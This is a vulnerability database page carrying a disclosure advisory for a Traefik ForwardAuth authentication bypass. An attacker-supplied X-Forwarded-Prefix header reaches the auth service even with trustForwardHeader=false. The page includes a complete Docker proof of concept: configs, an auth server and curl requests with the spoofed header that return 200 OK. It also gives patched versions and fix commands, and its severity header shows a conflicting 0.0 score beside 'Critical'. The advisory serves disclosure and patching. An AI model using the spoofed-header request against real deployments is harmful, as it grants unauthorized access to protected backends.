GHSA-6384-m2mw-rf54 CVE-2026-35051 GO-2026-5163
Traefik's ForwardAuth trustForwardHeader=false allows spoofed X-Forwarded-Prefix to bypass authentication
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.27%
- Chance of exploitation in the next 30 days. Higher than 18.92% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-345 Insufficient Verification of Data Authenticity
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.
While X-Forwarded-* headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.
When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43
- https://github.com/traefik/traefik/releases/tag/v3.6.14
- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
ForwardAuth with trustForwardHeader=false still forwards an attacker-controlled X-Forwarded-Prefix header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on X-Forwarded-Prefix for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.
This was validated this against Traefik v3.6.12 using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the ForwardAuth subrequest handling rather than general ingress header stripping.
Details
The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.
In pkg/middlewares/auth/forward.go, writeHeader first copies all incoming request headers into the auth subrequest:
func writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) {
utils.CopyHeaders(forwardReq.Header, req.Header)
...
forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)
It then selectively rebuilds only a subset of forwarded headers when trustForwardHeader=false, for example:
X-Forwarded-ForX-Forwarded-MethodX-Forwarded-ProtoX-Forwarded-PortX-Forwarded-HostX-Forwarded-Uri
However, it does not remove or rebuild X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.
This becomes security-relevant when StripPrefix is used before ForwardAuth. In pkg/middlewares/stripprefix/strip_prefix.go, Traefik appends the stripped prefix using Header.Add:
func (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) {
req.Header.Add(ForwardedPrefixHeader, prefix)
If the attacker already sent X-Forwarded-Prefix: /admin, and StripPrefix later adds /forbidden, the auth service receives both values in this order:
/admin(attacker-controlled)/forbidden(Traefik-generated)
An auth service that uses the first X-Forwarded-Prefix value can therefore be tricked into authorizing a protected route.
Why this appears unintended:
- The docs say
trustForwardHeadermeans "Trust all X-Forwarded-* headers" and defaults tofalse. - The migration notes say
X-Forwarded-Prefixis handled like otherX-Forwarded-*headers and removed from untrusted sources. - The direct-to-Traefik test case behaves consistently with that expectation and returns
403. - Only the auth subrequest path still honors the spoofed
X-Forwarded-Prefix.
Relevant source/documentation locations:
pkg/middlewares/auth/forward.golines 393-459pkg/middlewares/stripprefix/strip_prefix.golines 65-68pkg/middlewares/forwardedheaders/forwarded_header.golines 15-43docs/content/reference/routing-configuration/http/middlewares/forwardauth.mdlines 59-62 and 130-140docs/content/migrate/v3.mdlines 192-196
This was only tested and validated with X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt in writeHeader may deserve separate review, but I am not claiming impact for them here.
PoC
The following uses the official traefik:v3.6.12 Docker image and a mounted traefik.toml, matching the documented deployment style.
- Create
traefik.toml:
[entryPoints]
[entryPoints.web]
address = ":80"
[entryPoints.web.forwardedHeaders]
trustedIPs = ["172.31.79.0/24"]
[providers]
[providers.file]
filename = "/etc/traefik/dynamic.toml"
watch = false
[log]
level = "DEBUG"
[accessLog]
- Create
dynamic.toml:
[http.routers]
[http.routers.app]
entryPoints = ["web"]
rule = "Host(`app.local`) && PathPrefix(`/forbidden`)"
middlewares = ["strip-forbidden", "authz"]
service = "backend"
[http.middlewares]
[http.middlewares.strip-forbidden.stripPrefix]
prefixes = ["/forbidden"]
[http.middlewares.authz.forwardAuth]
address = "http://auth:8000/check"
trustForwardHeader = false
authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]
[http.services]
[http.services.backend.loadBalancer]
[[http.services.backend.loadBalancer.servers]]
url = "http://backend:80"
- Create
auth.py:
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if not self.path.startswith("/check"):
self.send_response(404)
self.end_headers()
return
prefixes = self.headers.get_all("X-Forwarded-Prefix") or []
first = prefixes[0] if prefixes else ""
payload = {
"path": self.path,
"first_prefix": first,
"all_prefixes": prefixes,
"x_forwarded_for": self.headers.get_all("X-Forwarded-For") or [],
}
print(json.dumps(payload), flush=True)
if first == "/admin":
self.send_response(200)
self.send_header("X-Auth-First-Prefix", first)
self.send_header("X-Auth-All-Prefixes", "|".join(prefixes))
self.end_headers()
self.wfile.write(b"authorized\n")
return
self.send_response(403)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps(payload).encode() + b"\n")
HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
- Create
frontend.conf:
server {
listen 80;
access_log /dev/stdout;
location / {
proxy_http_version 1.1;
proxy_pass http://traefik:80;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
- Start the containers:
docker network create --subnet 172.31.79.0/24 traefik-readme-net
docker run -d --name traefik-readme-backend \
--network traefik-readme-net \
--network-alias backend \
traefik/whoami
docker run -d --name traefik-readme-auth \
--network traefik-readme-net \
--network-alias auth \
-v "$PWD/auth.py:/app/auth.py:ro" \
-w /app \
python:3.12-alpine \
python /app/auth.py
docker run -d --name traefik-readme-traefik \
--network traefik-readme-net \
--network-alias traefik \
-p 18081:80 \
-v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \
-v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \
traefik:v3.6.12
docker run -d --name traefik-readme-frontend \
--network traefik-readme-net \
-p 18080:80 \
-v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \
nginx:alpine
- Send three requests:
Direct to Traefik, spoofed header:
curl -sS -i \
-H 'Host: app.local' \
-H 'X-Forwarded-Prefix: /admin' \
http://127.0.0.1:18081/forbidden/test
Expected result:
HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}
Through trusted proxy, no spoofing:
curl -sS -i \
-H 'Host: app.local' \
http://127.0.0.1:18080/forbidden/test
Expected result:
HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}
Through trusted proxy, spoofed header:
curl -sS -i \
-H 'Host: app.local' \
-H 'X-Forwarded-Prefix: /admin' \
http://127.0.0.1:18080/forbidden/test
Observed result:
HTTP/1.1 200 OK
...
X-Auth-All-Prefixes: /admin|/forbidden
X-Auth-First-Prefix: /admin
X-Forwarded-Prefix: /admin
X-Forwarded-Prefix: /forbidden
The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.
- Optional log confirmation from the auth service:
docker logs traefik-readme-auth
Observed log sequence:
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...}
- Cleanup:
docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend
docker network rm traefik-readme-net
Impact
This is an authentication bypass / trust-boundary bypass.
Affected deployments are those that:
- run Traefik behind a trusted upstream proxy
- use
ForwardAuth - rely on
trustForwardHeader=falseto avoid trusting client-supplied forwarded headers - pass
X-Forwarded-Prefixto the auth service, which happens by default whenauthRequestHeadersis empty - make authorization or routing decisions based on
X-Forwarded-Prefix, especially whenStripPrefixruns beforeForwardAuthIn those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.
</details>
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/traefik/traefik | <= 1.7.34 |
No fix yet |
| github.com/traefik/traefik | all versions |
No fix yet |
| github.com/traefik/traefik/v2 | < 2.11.43 |
2.11.43 |
| github.com/traefik/traefik/v3 | >= 3.7.0-ea.1, < 3.7.0-rc.2 |
3.7.0-rc.2 |
| github.com/traefik/traefik/v3 | >= 3.0.0-beta1, < 3.6.14 |
3.6.14 |
| github.com/traefik/traefik/v3 | >= 3.0.0-beta1, < 3.6.14>= 3.7.0-ea.1, < 3.7.0-rc.2 |
3.6.143.7.0-rc.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/traefik/traefik/v2 Go → 2.11.43
- go
go get github.com/traefik/traefik/v2@v2.11.43 && go mod tidy
github.com/traefik/traefik/v3 Go → 3.7.0-rc.2
- go
go get github.com/traefik/traefik/v3@v3.7.0-rc.2 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- Low
- Availability (subsequent systems)
- None
CVSS 3.1 10.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-345: Insufficient Verification of Data Authenticity
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
References
Advisories
Packages
Other links
- github.com/traefik/traefik/security/advisories/GHSA-6384-m2mw-rf54
- github.com/traefik/traefik/releases/tag/v2.11.43
- github.com/traefik/traefik/releases/tag/v3.6.14
- github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
- access.redhat.com/errata/RHSA-2026:21772
- access.redhat.com/security/cve/CVE-2026-35051
- bugzilla.redhat.com/show_bug.cgi
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35051.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6558 Traefik: BasicAuth singleflight coalescing reintroduces an unauthenticated username-enumeration timing oracle | Medium | Also affects github.com/traefik/traefik |
| GHSA-f52w-8j3h-j724 Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging | High | Also affects github.com/traefik/traefik |
| GHSA-w4v4-9rw7-5326 Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization | Critical | Also affects github.com/traefik/traefik |
| GHSA-qqjf-53cj-pwvv Traefik HTTP/3 Backend NTLM Connection Reuse | Critical | Also affects github.com/traefik/traefik |
| GO-2026-6467 Traefik entrypoint header-name sanitization bypassed via request trailers | High | Also affects github.com/traefik/traefik |
| GHSA-rf44-j88r-hh8c Traefik: ForwardAuth identity spoofing via dot-form header alias | High | Also affects github.com/traefik/traefik |
| GHSA-7ghq-v6jf-g56c Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded | Medium | Also affects github.com/traefik/traefik |
| GHSA-62fc-8686-hfmq Traefik: `allowCrossNamespace=false` bypass via `@kubernetescrd` TraefikService backendRef | Medium | Also affects github.com/traefik/traefik |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor